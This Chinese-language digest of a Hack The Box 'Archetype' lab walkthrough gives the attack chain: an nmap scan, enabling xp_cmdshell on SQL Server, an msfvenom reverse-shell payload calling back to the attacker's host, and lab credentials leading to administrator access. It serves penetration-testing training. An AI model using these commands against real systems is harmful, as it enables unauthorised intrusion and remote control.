HTB-Archetype

💡 原文中文,约3200字,阅读约需8分钟。
📝

内容提要

使用nmap扫描靶机端口,发现开放135、139、445、1433。通过smbclient连接失败后,查看配置文件获取数据库用户名和密码,使用mssqlclient登录SQL Server并启用xp_cmdshell。生成payload并通过powershell下载,获取user flag,查看历史记录获取administrator密码,最终通过psexec和evil-winrm获得root flag。

🎯

关键要点

  • 靶机IP为10.129.166.143,Kali IP为10.10.16.39。

  • 使用nmap扫描靶机端口,发现开放135、139、445、1433。

  • 尝试使用smbclient连接失败,查看配置文件获取数据库用户名和密码。

  • 获取的数据库用户名为ARCHETYPE\sql_svc,密码为M3g4c0rp123。

  • 使用mssqlclient登录SQL Server并启用xp_cmdshell。

  • 生成payload并通过powershell下载,获取user flag。

  • 查看PowerShell历史记录,获取administrator密码MEGACORP_4dm1n!!。

  • 使用psexec和evil-winrm获得root flag。

🔎

延伸解读

端口扫描的重要性

在渗透测试中,端口扫描是第一步,能够帮助测试者识别靶机上开放的服务。本文中使用nmap扫描发现了多个开放端口,这为后续的攻击提供了基础。了解哪些端口开放,可以帮助测试者制定更有效的攻击策略。

利用数据库配置文件的风险

通过查看配置文件获取数据库用户名和密码的做法,揭示了系统配置管理中的潜在风险。若配置文件未妥善保护,攻击者可以轻易获取敏感信息。因此,企业在配置管理时应加强权限控制和文件保护,防止信息泄露。

xp_cmdshell的安全隐患

启用SQL Server中的xp_cmdshell功能虽然可以执行操作系统命令,但也带来了严重的安全隐患。攻击者可以利用这一功能上传恶意代码,获取系统控制权。因此,建议在生产环境中禁用此功能,或对其使用进行严格审计。

延伸问答

如何使用nmap扫描靶机端口?

可以使用命令 nmap -sT --min-rate 10000 -p- 10.129.166.143 -oA ports 进行端口扫描。

如何获取数据库的用户名和密码?

可以查看配置文件,找到 User ID 和 Password,分别为 ARCHETYPE\sql_svc 和 M3g4c0rp123。

如何启用SQL Server中的xp_cmdshell?

使用mssqlclient登录后,执行 'EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;' 来启用xp_cmdshell。

如何生成并下载payload?

使用msfvenom生成payload,命令为 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.39 LPORT=4444 -f exe -o shell.exe',然后通过powershell下载。

如何获取administrator的密码?

查看PowerShell历史记录,找到命令 'net.exe use T: \Archetype\backups /user:administrator MEGACORP_4dm1n!!',从中获取密码 MEGACORP_4dm1n!!。

如何通过psexec和evil-winrm获得root flag?

使用psexec或evil-winrm登录靶机,确认IP无误后,即可获得root flag。

🏷️

标签

➡️

继续阅读